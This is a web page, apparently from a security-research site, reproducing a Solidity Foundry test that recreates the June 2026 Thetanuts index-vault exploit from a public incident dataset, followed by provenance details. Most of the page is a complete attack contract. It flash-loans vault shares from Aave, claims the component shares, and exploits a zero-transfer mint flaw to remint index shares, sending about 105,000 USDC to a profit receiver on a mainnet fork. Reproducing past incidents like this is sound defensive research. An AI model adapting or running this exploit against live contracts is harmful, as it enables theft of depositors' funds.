Public reproduction file
src/test/2026-06/Thetanuts_exp.sol
Public reproduction file for dataset entry Thetanuts.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 105471.50 USDC8// Attacker : 0x30498e4466789e534c72e03b52a16c978655b41e9// Attack Contract : 0x0f9daa9e0adced4e64578b2e131930dde54e492e10// Vulnerable Contract : 0xc2c3ae0a7b405058558c9b4a63b373486cb86ac711// Attack Tx : https://etherscan.io/tx/0xbba9f138fe39503bfd1aa62932dbd6ab35d37d23d48e4b7bf2988a9d5dc39fec13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xc2c3ae0a7b405058558c9b4a63b373486cb86ac716// @Analysis17// Twitter Guy : https://x.com/PeckShieldAlert/status/206654045112619031218//19// The attacker flash-loaned Thetanuts index-vault shares, claimed component vault shares, then repeatedly minted20// replacement index shares while component transfer amounts stayed at zero. The newly minted shares repaid Aave,21// leaving USDC and residual component-vault shares for the profit receiver.23address constant TX_SENDER = 0x30498e4466789E534c72e03B52A16c978655b41e;24address constant PROFIT_RECEIVER = 0xAf3a0FdBFB0e3127247B66a042310e09C32F2299;25address constant AAVE_POOL = 0x2Ca7641B841a79Cc70220cE838d0b9f8197accDA;26address constant INDEX_VAULT = 0xC2C3AE0a7b405058558C9b4a63b373486CB86Ac7;27address constant AAVE_INDEX_TOKEN = 0x075dA7e9EFEA6813aB0B2680423df75150120d12;28address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;29address constant BTC_USD_VAULT = 0x3BA337F3167eA35910E6979D5BC3b0AeE60E7d59;30address constant ETH_USD_VAULT = 0xE1c93dE547cc85CBD568295f6CC322B1dbBCf8Ae;31address constant AVAX_USD_VAULT = 0x248038fDb6F00f4B636812CA6A7F06b81a195AB8;32address constant BNB_USD_VAULT = 0xE5e8caA04C4b9E1C9bd944A2a78a48b05c3ef3AF;33address constant MATIC_USD_VAULT = 0xAD57221ae9897DA08656aaaBd5B1D4673d4eDE71;35interface IThetanutsIndexVault is IERC20 {36 function claim(37 uint256 amount38 ) external;39 function mint(40 uint256 amount41 ) external;42}44interface IThetanutsComponentVault is IERC20 {45 function initWithdraw(46 uint256 shares47 ) external returns (uint256 assets);48}50contract ContractTest is BaseTestWithBalanceLog {51 function setUp() public {52 uint256 forkBlock = 25_323_328;53 vm.createSelectFork("mainnet", forkBlock);54 fundingToken = USDC_TOKEN;56 vm.label(TX_SENDER, "Transaction sender");57 vm.label(PROFIT_RECEIVER, "Profit receiver");58 vm.label(AAVE_POOL, "Aave pool");59 vm.label(AAVE_INDEX_TOKEN, "Aave indexUSDC aToken");60 vm.label(INDEX_VAULT, "Thetanuts index USDC PUT vault");61 vm.label(USDC_TOKEN, "USDC");62 vm.label(BTC_USD_VAULT, "TN BTCUSD component vault");63 vm.label(ETH_USD_VAULT, "TN ETHUSD component vault");64 vm.label(AVAX_USD_VAULT, "TN AVAXUSD component vault");65 vm.label(BNB_USD_VAULT, "TN BNBUSD component vault");66 vm.label(MATIC_USD_VAULT, "TN MATICUSD component vault");67 }69 function testExploit() public balanceLog2(PROFIT_RECEIVER) {70 uint256 usdcBefore = IERC20(USDC_TOKEN).balanceOf(PROFIT_RECEIVER);71 uint256 avaxVaultBefore = IERC20(AVAX_USD_VAULT).balanceOf(PROFIT_RECEIVER);72 uint256 bnbVaultBefore = IERC20(BNB_USD_VAULT).balanceOf(PROFIT_RECEIVER);73 uint256 maticVaultBefore = IERC20(MATIC_USD_VAULT).balanceOf(PROFIT_RECEIVER);75 vm.startPrank(TX_SENDER);76 ThetanutsAttack attack = new ThetanutsAttack(PROFIT_RECEIVER);77 attack.run();78 vm.stopPrank();80 uint256 usdcProfit = IERC20(USDC_TOKEN).balanceOf(PROFIT_RECEIVER) - usdcBefore;81 emit log_named_decimal_uint("Profit receiver USDC profit", usdcProfit, 6);83 assertGt(usdcProfit, 105_000_000_000, "USDC profit below expected impact");84 assertGt(IERC20(AVAX_USD_VAULT).balanceOf(PROFIT_RECEIVER), avaxVaultBefore, "AVAX component not forwarded");85 assertGt(IERC20(BNB_USD_VAULT).balanceOf(PROFIT_RECEIVER), bnbVaultBefore, "BNB component not forwarded");86 assertGt(IERC20(MATIC_USD_VAULT).balanceOf(PROFIT_RECEIVER), maticVaultBefore, "MATIC component not forwarded");87 }88}90contract ThetanutsAttack {91 IThetanutsIndexVault private constant indexVault = IThetanutsIndexVault(INDEX_VAULT);92 IAaveFlashloan private constant aave = IAaveFlashloan(AAVE_POOL);94 address private immutable profitReceiver;96 constructor(97 address profitReceiver_98 ) {99 profitReceiver = profitReceiver_;100 }102 function run() external {103 address[] memory assets = new address[](1);104 assets[0] = INDEX_VAULT;106 uint256[] memory amounts = new uint256[](1);107 uint256 residualIndexShares = 3;108 amounts[0] = indexVault.balanceOf(AAVE_INDEX_TOKEN) - residualIndexShares;110 uint256[] memory modes = new uint256[](1);112 // step 1: borrow the index-vault shares from Aave.113 aave.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);115 // step 4: convert two component vault balances to USDC, then forward all residual value.116 _initWithdraw(BTC_USD_VAULT);117 _initWithdraw(ETH_USD_VAULT);118 _forwardToken(USDC_TOKEN);119 _forwardToken(AVAX_USD_VAULT);120 _forwardToken(BNB_USD_VAULT);121 _forwardToken(MATIC_USD_VAULT);122 }124 function executeOperation(125 address[] calldata assets,126 uint256[] calldata amounts,127 uint256[] calldata premiums,128 address initiator,129 bytes calldata130 ) external returns (bool) {131 require(msg.sender == AAVE_POOL, "caller must be Aave");132 require(initiator == address(this), "initiator must be this contract");133 require(assets.length == 1 && assets[0] == INDEX_VAULT, "unexpected flash asset");135 uint256 borrowedShares = amounts[0];136 uint256 repaymentShares = borrowedShares + premiums[0];138 // step 2: claim component-vault shares from the borrowed index-vault shares.139 indexVault.claim(borrowedShares);141 // step 3: remint enough index-vault shares to repay Aave.142 while (indexVault.balanceOf(address(this)) < repaymentShares) {143 uint256 balance = indexVault.balanceOf(address(this));144 uint256 remaining = repaymentShares - balance;145 uint256 nextSupplyBoundary = 1;146 uint256 supplyBoundedMint = indexVault.totalSupply() - nextSupplyBoundary;147 uint256 mintAmount = remaining < supplyBoundedMint ? remaining : supplyBoundedMint;149 indexVault.mint(mintAmount);150 }152 indexVault.approve(AAVE_POOL, repaymentShares);153 return true;154 }156 function _initWithdraw(157 address vault158 ) private {159 uint256 shares = IERC20(vault).balanceOf(address(this));160 require(shares > 0, "no shares to withdraw");161 IThetanutsComponentVault(vault).initWithdraw(shares);162 }164 function _forwardToken(165 address token166 ) private {167 uint256 balance = IERC20(token).balanceOf(address(this));168 require(balance > 0, "no balance to forward");169 IERC20(token).transfer(profitReceiver, balance);170 }171}Analysis
Dataset entry
Public Foundry test for “Thetanuts” (2026-06-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x30498e4466789e534c72e03b52a16c978655b41e
- Attack Contract
0x0f9daa9e0adced4e64578b2e131930dde54e492e
- Vulnerable Contract
0xc2c3ae0a7b405058558c9b4a63b373486cb86ac7
- Attack Tx
0xbba9f138fe39503bfd1aa62932dbd6ab35d37d23d48e4b7bf2988a9d5dc39fec
File record
- Name
- Thetanuts
- Path
- src/test/2026-06/Thetanuts_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5bdd1f35b62e827711b5966e6e48fca16e3b6c33
- Language
- Solidity
- Size
- 172 lines
- Date
- 2026-06-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/Thetanuts_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5bdd1f35b62e827711b5966e6e48fca16e3b6c33, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.